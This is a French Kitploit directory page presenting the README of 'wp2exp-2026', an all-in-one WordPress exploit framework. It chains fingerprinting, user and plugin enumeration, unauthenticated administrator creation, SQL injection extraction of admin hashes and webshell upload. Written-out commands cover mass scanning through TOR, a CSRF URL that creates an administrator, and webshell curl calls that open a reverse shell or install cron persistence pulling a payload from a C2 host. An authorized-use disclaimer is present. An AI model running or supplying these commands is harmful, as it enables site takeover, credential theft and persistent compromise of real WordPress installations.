Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
wp2exp-2026 — WordPress All-in-One Exploit Framework — détecteur, scanner, énumérateur, exploit, escalade. 10 CVE de la vague 2026-08, dont CVE-2026-63030 (wp2shell). | Kitploit
Outils/GitHubGitHub/rechandra/wp2exp-2026
Escalade de PrivilègesReconnaissanceScanners de VulnérabilitésFrameworks d'ExploitationExploitation d'Applications WebPost-ExploitationTests d'IntrusionDéveloppement de Charges Utiles
GitHubrechandra/wp2exp-2026

wp2exp-2026

WordPress All-in-One Exploit Framework — détecteur, scanner, énumérateur, exploit, escalade. 10 CVE de la vague 2026-08, dont CVE-2026-63030 (wp2shell).

5il y a 17 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

wp2exp_2026 🔥

Framework d'exploitation WordPress tout-en-un — Détecteur · Scanneur · Énumérateur · Exploitation · Élévation de privilèges

wp2exp_2026 est le successeur rebaptisé et éprouvé au combat du framework wp2shell. Il fusionne la chaîne de vérification/exploitation originale de wp2shell, trois kits PoC publics de la CVE-2026-63030 (Ch4120N, shinthink, SentinelX), et la vague de CVE WordPress d'août 2026 récupérée par scraping depuis NVD / GitHub Advisories / CISA KEV via le pipeline darkweb-intel TOR — dans un seul script qui emmène une cible de l'empreinte passive jusqu'à un webshell vérifié.

root@kitploit:~
┌──────────┐    ┌──────────┐    ┌───────────┐    ┌───────────┐    ┌──────────┐
│ DETECTOR │ -> │ SCANNER  │ -> │ ENUMERATOR│ -> │ EXPLOIT   │ -> │ ESCALATE │
│ 10 CVEs  │    │ version/ │    │ users/    │    │ admin     │    │ webshell  │
│ probes   │    │ WAF/XMLRPC│    │ plugins   │    │ create/   │    │ rev shell │
└──────────┘    └──────────┘    └───────────┘    └───────────┘    └──────────┘

⚠️ TESTS AUTORISÉS UNIQUEMENT. Le mode scan est non destructif. Les modes d'exploitation exigent explicitement --mode. Vous êtes responsable d'avoir l'autorisation écrite pour chaque cible.


📦 Installation

root@kitploit:~
# Clone
git clone https://github.com/rechandra/wp2exp-2026.git
cd wp2exp-2026

# Dependencies: Python 3.8+ standard library only.
# Optional: PySocks for SOCKS5/TOR proxying
pip install pysocks

Aucune clé API, aucune base de données, aucune compilation.


🚀 Démarrage rapide

root@kitploit:~
# 1. Safe scan of one target (detector + scanner + enumerator)
python3 wp2exp_2026.py https://target.com

# 2. Same scan, but fire exploitation (admin creation + content dumps)
python3 wp2exp_2026.py https://target.com --mode exploit

# 3. Full chain to a verified webshell
python3 wp2exp_2026.py https://target.com --mode shell

# 4. Mass scan a file of targets
python3 wp2exp_2026.py -f targets.txt --threads 10

# 5. Anonymous scanning through TOR
python3 wp2exp_2026.py https://target.com --proxy socks5h://127.0.0.1:9050

🔧 Référence de la ligne de commande

root@kitploit:~
usage: wp2exp_2026.py [-h] [targets ...] [-f FILE] [--mode {scan,exploit,shell}]
                      [--shell {mini,full}] [--mapster-dump N] [--proxy PROXY]
                      [--timeout N] [--threads N] [--json] [-o OUTPUT]

🧭 Guide mode par mode

Mode 1 : scan — Détecteur + Scanneur + Énumérateur (sûr)

Non destructif. Utilisez-le en premier sur toute cible.

Ce qu'il fait, dans l'ordre :

Exemple :

root@kitploit:~
python3 wp2exp_2026.py https://example.com
# outputs: version, WAF, XMLRPC, users, plugin versions, per-CVE verdicts

Mode 2 : exploit — Scan + Exploitation

Tout ce que fait scan, plus :

Exemple :

root@kitploit:~
# Scan + create admin + dump 200 post IDs through Mapster
python3 wp2exp_2026.py https://example.com --mode exploit --mapster-dump 200

Mode 0 : --verify — Auto-vérification de l'environnement

Valide l'environnement d'exécution avant tout scan : Python ≥3.8, disponibilité de PySocks (SOCKS5/TOR), accessibilité du proxy (si --proxy est défini), intégrité de la matrice CVE, exactitude de l'analyseur de version.

root@kitploit:~
python3 wp2exp_2026.py --verify
python3 wp2exp_2026.py --verify --proxy socks5h://127.0.0.1:9050

Mode 3 : shell — Chaîne complète vers un webshell

Tout ce que fait exploit, plus l'élévation de privilèges : si la création de l'admin réussit, le script :

  1. Se connecte à wp-login.php (jar de cookies)
  2. Chemin A (thème) : extrait le _wpnonce de l'éditeur de thème + le thème actif → écrit le webshell via admin-ajax.php?action=edit-theme-plugin-file
  3. Chemin B (plugin, repli) : si l'éditeur de thème est indisponible → construit un zip de plugin contenant le shell, l'importe via update.php?action=upload-plugin, puis l'active
  4. Vérifie en exécutant id via le shell — affiche la sortie en direct de la commande

Types de webshell (--shell) :

Exemple :

root@kitploit:~
python3 wp2exp_2026.py https://example.com --mode shell --shell full --sqli-info
python3 wp2exp_2026.py --verify
# -> ADMIN CREATED: wp_xxxx / Wp!yyyy
# -> WEBSHELL: https://example.com/wp-content/themes/twentytwentyfive/.wp-abc123.php?k=KEY&c=id
# -> verify: uid=33(www-data) ...

Utilisation manuelle du shell après une exécution réussie :

root@kitploit:~
# Command execution (mini)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&c=id'

# Full shell — file upload
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=upload&f=/tmp/pwned.txt&d=<base64>'

# Full shell — reverse shell (listener: nc -lvnp PORT)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=rev&h=YOUR_IP&p=4444'

# Full shell — cron persistence (curl piped to sh from your C2)
curl -sk 'https://T/wp-content/themes/THEME/.wp-XXXX.php?k=KEY&a=persist&u=https://c2.example/payload.sh'

🧨 Couverture CVE (vague d'août 2026)

Chaînes d'exploitation par CVE (documentées dans le code)

  • FormGent (3141) : DELETE /wp-json/formgent/v1/responses/attachments?file_token=<base64("formgent/YYYY/MM/FILE")> — route enregistrée sans middleware d'authentification ; le jeton est le base64 brut du chemin relatif (falsifiable). Les versions corrigées utilisent un UploadFileToken signé.
  • AI Engine (15988) : reauth_for_authorize correspondait à /mcp/v1/oauth/authorize via un test de sous-chaîne sur REQUEST_URI incluant la chaîne de requête. Ajoutez &x=/mcp/v1/oauth/authorize à toute requête REST pour restaurer l'identité complète de l'utilisateur du cookie. CSRF classique : un admin qui visite l'URL forgée crée un compte attaquant.
    root@kitploit:~
    https://T/wp-json/wp/v2/users?_method=POST&x=/mcp/v1/oauth/authorize&username=csrf_admin&password=...&roles=administrator
    
  • Bit Integrations (15006) : le plugin définit wpcf7_verify_nonce => __return_true → les soumissions CF7 n'ont besoin d'aucun nonce ; soumettez un champ fichier contenant ../../../../wp-config.php et l'action d'intégration (webhook/email) exfiltre le fichier.

🕶️ Intégration TOR / Darkweb

Le script a été construit à partir du renseignement collecté par le pipeline darkweb-intel TOR (scraping des nouvelles CVE de NVD, GitHub Advisories, CISA KEV) et prend en charge le scan anonyme :

root@kitploit:~
# Scan through TOR (requires tor daemon on 9050)
python3 wp2exp_2026.py https://target.onion --proxy socks5h://127.0.0.1:9050
python3 wp2exp_2026.py -f targets.txt --proxy socks5h://127.0.0.1:9050 --threads 5

# Verify your exit node
# (script's Http layer reports IsTor:true when routing through TOR)

Comportement vérifié : routage du proxy confirmé contre check.torproject.org/api/ip → {"IsTor":true} via le nœud de sortie 192.42.116.45.


📊 Sortie et rapports

root@kitploit:~
# Console: colored per-stage verdicts + final summary table
# JSON report to file (always includes raw responses for evidence)
python3 wp2exp_2026.py https://example.com --mode shell -o report.json

# Full JSON to stdout for piping into jq / your own tooling
python3 wp2exp_2026.py https://example.com --json | jq '.[0].cve_checks'

Structure du rapport :

root@kitploit:~
{
  "target": "https://example.com",
  "version": "7.0.1",
  "waf": "Cloudflare",
  "xmlrpc": true,
  "users": [{"id": 1, "name": "admin", "slug": "admin"}],
  "plugins": [{"slug": "formgent", "version": "1.9.2", "vulnerable": true}],
  "core_wp2shell": {"verdict": "VULNERABLE", "endpoint": ".../wp-json/batch/v1"},
  "cve_checks": {"CVE-2026-3141": {"vulnerable": true, "detail": "..."}},
  "exploitation": {
    "wp2shell_admin": {"success": true, "username": "...", "password": "..."},
    "shell": {"success": true, "shell_url": "...", "key": "..."},
    "mapster_posts": [...]
  }
}

🧪 Validation

Validé le 2026-08-04 contre un laboratoire WordPress vulnérable émulé — batterie QA : 32/32 contrôles RÉUSSIS (tous les modes, pureté JSON, multi-cibles, normalisation des hôtes nus, fuite Mapster brouillon/privé, extraction SQLi de la version de la base + hash admin, chaîne de shell complète) :

root@kitploit:~
wp2shell (CVE-2026-63030): VULNERABLE
ADMIN CREATED: wp_7ytp1 / Wp!s6d2yz28qiey
WEBSHELL: .../twentytwentyfive/.wp-cg93vk.php?k=...&c=id
verify: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Mapster (CVE-2026-14839): dumped draft + private posts
FormGent (CVE-2026-3141): unauth DELETE route confirmed
TOR: IsTor:true exit 192.42.116.45

🧩 Feuille de route / Contribution

  • Extraction SQLi automatique (moteur union) intégrée au mode exploit (--sqli-info)
  • Repli de création d'admin oEmbed par SQLi (chaîne shinthink)
  • Repli d'import de zip de plugin webshell
  • Auto-vérification de l'environnement --verify
  • Module de pulvérisation de mots de passe WordPress (multicall XMLRPC)
  • Actualisation automatique de la matrice CVE depuis la sortie de darkweb_intel.py
  • Générateur de rapport HTML

Les PR sont les bienvenues. Gardez les charges utiles non destructives par défaut.


⚖️ Licence et éthique

MIT. Engagements autorisés uniquement. N'exécutez jamais --mode exploit / --mode shell contre des actifs que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite de test. Les auteurs ne sont pas responsables d'une mauvaise utilisation.

Télécharger l’outil
ArgumentDéfautDescription
targets—Une ou plusieurs URL de base (https://site.com ou site.com nu)
-f, --file—Fichier contenant une cible par ligne (commentaires # autorisés)
--modescanscan = détection uniquement · exploit = scan + exploitation · shell = scan + exploit + webshell
--shellminiType de webshell : mini (exécution sur une ligne) ou full (gestion de fichiers / téléchargement / reverse shell / persistance cron)
--mapster-dump0Extraire N identifiants de publications via CVE-2026-14839 (0 = désactivé)
--sqli-infooffExtraire db_version / siteurl / le hash du mot de passe admin / le préfixe de table via SQLi (CVE-2026-60137)
--verifyoffAuto-vérification de l'environnement (python, PySocks, accessibilité du proxy, matrice CVE, analyseur de version) puis sortie
--proxy—Proxy HTTP ou SOCKS5 : socks5h://127.0.0.1:9050 (TOR)
--timeout15Délai d'attente par requête (secondes)
--threads5Cibles en parallèle (utilisé uniquement avec plusieurs cibles / -f)
--json—Afficher un rapport JSON lisible par machine sur stdout
-o, --output—Écrire le rapport JSON complet dans un fichier
#ÉtapeContrôles
1EmpreinteVersion de WordPress via le générateur /feed/, /readme.html, la balise meta generator, le générateur de l'API REST — signale si la version se situe dans la plage vulnérable de wp2shell (6.9.0–6.9.4, 7.0.0–7.0.1)
2Détection WAFCloudflare / Sucuri / Akamai / AWS WAF / Imperva / Wordfence / F5 à partir des en-têtes + marqueurs du corps
3XMLRPCSonde system.listMethods → signale la surface de brute-force multicall et de SSRF pingback
4Énumération d'utilisateursREST /wp-json/wp/v2/users + repli ?rest_route= + archive d'auteur (?author=N)
5Énumération de pluginsStable tag des readme.txt pour les 8 plugins suivis — signale les versions vulnérables par rapport à la matrice CVE
6Sonde wp2shellSonde de désynchronisation batch sûre (CVE-2026-63030) — envoie un amorçage malformé + un DELETE bénin vers une catégorie inexistante ; recherche les marqueurs de détournement de gestionnaire (parse_path_failed, block_cannot_read, rest_batch_not_allowed)
7Contrôles CVESondes comportementales en direct + contrôles de version pour les 10 CVE (voir le tableau ci-dessous)
ExploitationConditionCe qui se passe
Création d'admin sans authentificationwp2shell VULNERABLETentative 1 : la charge utile de confusion de routes batch aboutit à un POST /wp/v2/users avec roles:["administrator"]. Tentative 2 (repli) : chaîne d'empoisonnement du cache oEmbed par SQLi (shinthink) — injecte par union un customize_changeset pour détourner le cache oEmbed + créer un admin. Affiche username / password en cas de succès
Extraction d'informations SQLi--sqli-infoExtraction par erreur/union (CVE-2026-60137) : db_version, siteurl, hash user_pass du premier admin, préfixe de table
Extraction de contenu Mapster--mapster-dump NÉnumère les identifiants de publications 1..N via /wp-json/mapster-wp-maps/feature?id=N, collectant les titres + le contenu complet des publications brouillon / en attente / privées / mises à la corbeille (CVE-2026-14839)
TypeFonctionnalités
mini?k=KEY&c=COMMAND → sortie de commande en texte brut
fullexécution a=cmd · écriture de fichier a=upload (b64) · lecture de fichier a=download · reverse shell a=rev (h=HOST&p=PORT) · persistance crontab a=persist (u=URL) · phpinfo() par défaut
CVECibleCVSSClasseDétectionExploitation
CVE-2026-63030WP Core 6.9.0–6.9.4, 7.0.0–7.0.19.8Confusion de routes batch REST → RCE✅ sonde de marqueurs de désynchronisation✅ création d'admin + shell
CVE-2026-60137WP Core (même plage)5.9SQLi author__not_in✅ version + marqueur✅ via la chaîne 63030
CVE-2026-3141FormGent ≤ 1.9.29.1Suppression arbitraire de fichier non authentifiée✅ sonde DELETE en direct✅ file_token b64 falsifiable
CVE-2026-13596Participants DB < 2.7.8.49.1SQLi non authentifiée (recherche de liste)✅ sonde de fuite d'erreurs⚠️ manuel (aveugle)
CVE-2026-15414Subscriptions for WooCommerce ≤ 2.0.08.8Élévation de privilèges _wps_plan_user_role✅ version✅ documentation de chaîne
CVE-2026-15988AI Engine ≤ 3.6.58.8CSRF → création d'admin✅ sonde d'espace de noms✅ générateur d'URL PoC
CVE-2026-15450Nex Forms Lite ≤ 9.2.38.1Suppression arbitraire de fichier authentifiée✅ version✅ documentation de chaîne
CVE-2026-15006Bit Integrations ≤ 2.9.07.5Traversal non authentifié (contournement de nonce CF7)✅ version✅ documentation de chaîne
CVE-2026-14839Mapster WP Maps < 1.24.07.5Extraction non authentifiée de publications privées/brouillons✅ sonde en direct✅ --mapster-dump
CVE-2026-15052MailChimp Subscribe ≤ 4.3.37.2XSS stocké non authentifié✅ version✅ documentation de chaîne
  • Nex Forms (15450) : insert_record() stocke un location de fichier influencé par l'attaquant, puis delete_file() appelle unlink($file) sans validation realpath()/liste blanche.
  • Subscriptions for WooCommerce (15414) : save_meta_boxes() persiste _wps_plan_user_role depuis $_POST ; seuls sanitize_key() + is_role() sont appliqués — les deux acceptent administrator.